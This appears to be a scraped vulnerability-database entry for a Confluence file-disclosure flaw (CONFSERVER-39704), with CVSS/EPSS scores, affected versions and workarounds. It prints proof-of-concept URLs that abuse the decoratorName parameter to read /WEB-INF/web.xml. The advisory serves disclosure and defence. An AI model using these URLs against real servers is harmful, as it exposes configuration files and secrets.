Lucene search

K
atlassianFa1767dc8cc8CONFSERVER-39704
HistoryOct 27, 2015 - 7:37 p.m.

Insecure Direct Object Reference

2015-10-2719:37:15
fa1767dc8cc8
jira.atlassian.com
15

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

4.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

EPSS

0.966

Percentile

99.6%

The following URL is vulnerable to Insecure Direct Object Reference, allowing any authenticated user to read configuration files from the application such as the content of webapp directory in confluence.

http://<server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

Where <FILE> any file readable by the user who runs the Confluence instance is accessible through Confluence itself.

PoC URL:
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
http://<server>/admin/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml

This has been verified in confluence 5.9.1, 5.8.15, and 5.8.14

h2. Workarounds

  • Do not run Confluence as root/administrator. We always recommend creating a dedicated user account to run Atlassian products. You can limit the impact of this bug by restricting what the app user account can access.
  • Block URLs that match this pattern using proxy or load balancer rules.

Affected configurations

Vulners
Node
atlassianconfluence_data_centerRange5.5.7
OR
atlassianconfluence_data_centerRange5.7
OR
atlassianconfluence_data_centerRange5.6.6
OR
atlassianconfluence_data_centerRange5.8.14
OR
atlassianconfluence_data_centerRange5.8.15
OR
atlassianconfluence_data_centerRange<5.9.1
OR
atlassianconfluence_data_centerRange<5.8.17
OR
atlassianconfluence_data_centerRange<6.0.0-OD-2016.03.1
OR
atlassianconfluence_data_centerRange<5.7.6
VendorProductVersionCPE
atlassianconfluence_data_center*cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

4.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

EPSS

0.966

Percentile

99.6%